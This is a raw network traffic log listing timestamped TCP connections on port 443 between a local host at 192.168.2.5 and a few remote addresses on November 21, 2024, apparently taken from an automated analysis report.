Nov 21, 2024 14:26:40.651360989 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.651437998 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.651511908 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.651964903 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.651994944 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.659949064 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.660509109 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.660562038 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.661247969 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.661259890 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.918698072 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.918781996 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.918847084 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.933248997 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.933268070 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.933280945 CET	49751	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.933288097 CET	443	49751	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.937844038 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.937901974 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.937971115 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.940881968 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.940988064 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.941078901 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.941186905 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.941226006 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.941271067 CET	49752	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.941287041 CET	443	49752	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.942578077 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.942611933 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.944150925 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.944186926 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:40.944247961 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.944361925 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:40.944370031 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.029468060 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.029525042 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.029617071 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.029818058 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.029835939 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.029845953 CET	49753	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.029851913 CET	443	49753	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.035023928 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.035053968 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.035149097 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.035304070 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.035331964 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.168853998 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.168915033 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.169054031 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.169352055 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.169353008 CET	49754	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.169390917 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.169414043 CET	443	49754	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.172538996 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.172574043 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:41.173790932 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.173952103 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:41.173968077 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.437877893 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.446162939 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.446197033 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.449023962 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.449034929 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.874464989 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.875466108 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.875467062 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.875530958 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.875571966 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.885857105 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.885922909 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.885977030 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.886162043 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.886189938 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.886205912 CET	49755	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.886214018 CET	443	49755	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.888791084 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.889106989 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.889117002 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.889199972 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.889286041 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.889365911 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.889491081 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.889512062 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.889545918 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.889549971 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.892554998 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.893037081 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.893069983 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:42.893425941 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:42.893435955 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.021379948 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.021903992 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.021915913 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.022425890 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.022430897 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.310035944 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.310116053 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.310303926 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.310383081 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.310383081 CET	49758	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.310444117 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.310472012 CET	443	49758	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.313357115 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.313447952 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.313556910 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.313740015 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.313776016 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.333472013 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.333563089 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.333775997 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.333831072 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.333849907 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.333858967 CET	49757	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.333863974 CET	443	49757	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.335937977 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.335943937 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.336025953 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.336030960 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.336085081 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.336119890 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.336206913 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.336215973 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.336227894 CET	49756	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.336234093 CET	443	49756	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.336477995 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.336513042 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.338011980 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.338037968 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.338244915 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.338371038 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.338395119 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.475688934 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.475735903 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.475881100 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.476104021 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.476125956 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.476140976 CET	49759	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.476147890 CET	443	49759	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.479150057 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.479202032 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:43.479269028 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.479455948 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:43.479475975 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:44.632579088 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:44.672966003 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:44.673005104 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:44.673460007 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:44.673468113 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.053673983 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.054393053 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.070295095 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.070353031 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.070450068 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.079396963 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.079482079 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.102317095 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.106281042 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.106314898 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.107104063 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.107125044 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.107615948 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.107625961 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.108159065 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.108159065 CET	49767	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.108211994 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.108239889 CET	443	49767	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.123370886 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.123435974 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.123513937 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.137012959 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.137037039 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.201325893 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.239135027 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.239168882 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.239594936 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.239605904 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.330864906 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.331799030 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.331845999 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.332617998 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.332624912 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.488811970 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.488888979 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.488974094 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.489250898 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.489250898 CET	49769	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.489308119 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.489337921 CET	443	49769	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.489732027 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.489896059 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.489984989 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.490492105 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.490492105 CET	49770	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.490525007 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.490549088 CET	443	49770	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.492134094 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492185116 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.492292881 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492358923 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492422104 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.492464066 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492481947 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.492506981 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492610931 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.492629051 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.644282103 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.644454002 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.644535065 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.647152901 CET	49768	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.647176981 CET	443	49768	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.651453972 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.651519060 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.651880026 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.652115107 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.652133942 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.776151896 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.776216030 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.776292086 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.776524067 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.776563883 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.776591063 CET	49771	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.776607990 CET	443	49771	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.779532909 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.779580116 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:45.779728889 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.779908895 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:45.779933929 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:46.657140017 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:46.657237053 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:46.657309055 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:46.657593966 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:46.657629967 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:46.919363976 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:46.919933081 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:46.920017004 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:46.920326948 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:46.920341015 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.140208006 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:47.140247107 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:47.140338898 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:47.142079115 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:47.142097950 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:47.250869036 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.251421928 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.251487970 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.251895905 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.251912117 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.283518076 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.283991098 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.284033060 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.284437895 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.284451008 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.365011930 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.365180016 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.365268946 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.377362967 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.377412081 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.377495050 CET	49774	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.377511024 CET	443	49774	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.396519899 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.396558046 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.397015095 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.397569895 CET	49784	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.397586107 CET	443	49784	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.503643990 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.529385090 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.529416084 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.530086994 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.530092955 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.562159061 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.613534927 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.689512014 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.689682961 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.689788103 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.727200985 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.727308035 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.729820013 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.855747938 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.855829000 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.859374046 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.859390974 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.867721081 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.867721081 CET	49777	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.867763042 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.867795944 CET	443	49777	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.872792006 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.872859955 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.872891903 CET	49776	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.872910023 CET	443	49776	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.881021976 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881056070 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.881150007 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881593943 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881654024 CET	49785	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881661892 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.881669044 CET	443	49785	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.881752968 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881838083 CET	49786	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.881858110 CET	443	49786	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.956789017 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.956955910 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.957029104 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.957531929 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.957531929 CET	49778	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.957554102 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.957576036 CET	443	49778	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.962811947 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.962835073 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:47.963017941 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.964687109 CET	49787	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:47.964699030 CET	443	49787	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.046025991 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:48.053327084 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:48.053363085 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:48.054508924 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:48.054575920 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:48.055804968 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:48.055874109 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:48.099829912 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:48.099864006 CET	443	49780	216.58.206.68	192.168.2.5
Nov 21, 2024 14:26:48.146826982 CET	49780	443	192.168.2.5	216.58.206.68
Nov 21, 2024 14:26:48.187691927 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.187777042 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.187849998 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.188055038 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.188055038 CET	49779	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.188097000 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.188122034 CET	443	49779	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.191443920 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.191545010 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.191701889 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.191956997 CET	49788	443	192.168.2.5	13.107.246.45
Nov 21, 2024 14:26:48.191991091 CET	443	49788	13.107.246.45	192.168.2.5
Nov 21, 2024 14:26:48.634972095 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:48.635040998 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:48.641288042 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:48.641299963 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:48.641514063 CET	443	49783	184.28.90.27	192.168.2.5
Nov 21, 2024 14:26:48.692886114 CET	49783	443	192.168.2.5	184.28.90.27
Nov 21, 2024 14:26:48.698354006 CET	49783	443	192.168.2.5	184.28.90.27
